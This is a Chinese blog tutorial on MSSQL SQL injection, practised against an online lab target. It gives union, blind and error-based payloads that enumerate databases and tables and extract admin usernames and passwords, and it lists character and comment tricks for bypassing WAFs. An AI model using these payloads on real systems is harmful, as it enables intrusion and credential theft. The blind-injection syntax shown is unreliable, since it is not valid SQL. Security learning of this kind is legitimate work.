mssql注入與繞過


0x00   前言

上篇文章寫了mssql的查詢方式與mssql 和mysql的區別。在注入當中也是有些區別的。下面直接來看到幾種mssql注入的方法與特性,繞過方式。因為mssql加aspx的站懶得搭建,所以這里直接拿墨者的在線靶機做測試。

0x01    mssql 聯合查詢

 

這里輸入單引號報錯了 ,初步判斷存在注入。

and 1=1  正常
and 1=2  報錯

這里再來猜字段

order by 10  報錯
order by 5   報錯
order by 4   正常

那么他的字段就是4位。

知道字段后我們再來對他進行聯合查詢。

and 1=2 union select null,null,null,null  報錯

這里要采用null的方式來占位,因為mssql數據庫是個強類型的數據庫,對數據格式比較嚴格。

這里報錯了 ,可能是union select 函數被禁用了

 

and 1=2 union all select null,null,null,null

 

 

 沒報錯但是沒回顯數據

and 1=2 union all select 'null,null,null,null
and 1=2 union all select null,'null',null,null
and 1=2 union all select null,null,'null',null
and 1=2 union all select null,null,null,'null'

 

 

 

一個一個加單引號括起來,查看類型

在第二和第三位置是可以回顯數據的,我們就在 二和三的位置來查詢數據

 and 1=2 union all select null,@@version,'null',null

 

 

 

查詢版本為2005的版本, 能正常查詢,這時候就可以去爆我們的數據。

先來查詢他的數據庫名

and 1=2 union all select null,db_name(),'null',null  查看當前數據庫
and 1=2 union all select null,db_name(1),'null',null 查看第一個數據庫
and 1=2 union all select null,db_name(2),'null',null 查看第二個數據庫
and 1=2 union all select null,db_name(3),'null',null 查看第三個數據庫
and 1=2 union all select null,db_name(4),'null',null  查看第四個數據庫
and 1=2 union all select null,db_name(5),'null',null 查看第五個數據庫
and 1=2 union all select null,db_name(6),'null',null 查詢失敗

那么這里,就可以去爆出他的數據庫這里的數據庫是5個數據庫 

 

 

 這也是個mysql不一樣的地方,可以直接輸入db_name ()里面添加參數,直接遍歷數據庫名。

直接查詢mozhe_db_v2這個數據庫的表名

 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype ='u'),'null',null

 

 

 

top是取值 ,查詢到的第一行數據,那么如果我們想爆第二表呢,在mssql里面沒有 limit這個函數。 

xtpye ='u' 這個是我們指定查詢的條件,查詢他自定義的表

-2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype ='u' and name <>('manage')),null,null

 

 

 

這里直接指定查詢條件為name 不等於manage 然后爆出他的第二張表  如果后面還需要查詢的話也是同樣的方式。

union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype ='u' and name <>('manage') and name<>('announcement')),null,null

這里查詢不回顯,那么說明他這就2張表。

既然我們現在知道了表后就可以直接來爆字段了

union all select null,(select top 1 col_name(object_id('manage'),1)from sysobjects),null,null
union all select null,(select top 1 col_name(object_id('manage'),2)from sysobjects),null,null
union all select null,(select top 1 col_name(object_id('manage'),3)from sysobjects),null,null

分別顯示了 id ,username ,password 。

column_id列的標識號。 column_id 自變量具有一個 int 數據類型 。

該函數會返回指定對象的ID值,可以在sysobjects表中進行驗證。

 

 

union all select null,(select top 1 username from manage),null,null
union all select null,(select top 1 password from manage),null,null

 

 

 

 

 

 直接爆出數據。這個是我們的簡單聯合的注入方式。

 

0x02    mssql 盲注

這里來直接給出語句和我們的mysql差不多,

猜表

AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables = 'A'

用取值函數來取information_schema.table 里面的值,這個數據庫在我們mssql中是個視圖,而不是真正的數據庫。

 

AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns = 'A'

 

 

0x03   mssql 報錯注入

在mssql注入里面,我們常常會利用報錯注入來爆出數據,這個報錯注入基本基於類型轉換上的錯誤進行報錯注入。

注入語句:

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)

如果想查詢第二張表的話可以利用到前面的方式 name不等於 第一張表

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))

這里和前面說到的差不多,這個的意思是查詢第一條數據 然后不在第一張表里面查詢,那么就可以爆出我們的第二張表。想爆第三張表也是一樣。

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 2 table_name FROM information_schema.tables))

不在前面2張表進行查詢。 那么查詢第一行數據就是第三表的數據。

0x04   mssql 特性

可替代空格字符的字符:

01    Start of Heading
02    Start of Text
03    End of Text
04    End of Transmission
05    Enquiry
06    Acknowledge
07    Bell
08    Backspace
09    Horizontal Tab
0A    New Line
0B    Vertical Tab
0C    New Page
0D    Carriage Return
0E    Shift Out
0F    Shift In
10    Data Link Escape
11    Device Control 1
12    Device Control 2
13    Device Control 3
14    Device Control 4
15    Negative Acknowledge
16    Synchronous Idle
17    End of Transmission Block
18    Cancel
19    End of Medium
1A    Substitute
1B    Escape
1C    File Separator
1D    Group Separator
1E    Record Separator
1F    Unit Separator
20    Space
25    %

and 和or 后的中間替代字符

01-20    范圍
21    !
2B    +
2D    --
2E    。
5C    \
7E    〜

 

mssql 注釋方式:

/**/    c語言注釋

--    sql注釋

;%00    

在繞waf當中會頻繁用到這些注釋方式,也會用到各種特殊字符來繞過waf,mssql可替代空格的字符比mysql多出不少,在外面繞過waf當中會有很大的幫助。

 

 

0x03   結尾

本次文章耗時 2小時。記錄快樂時刻。

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM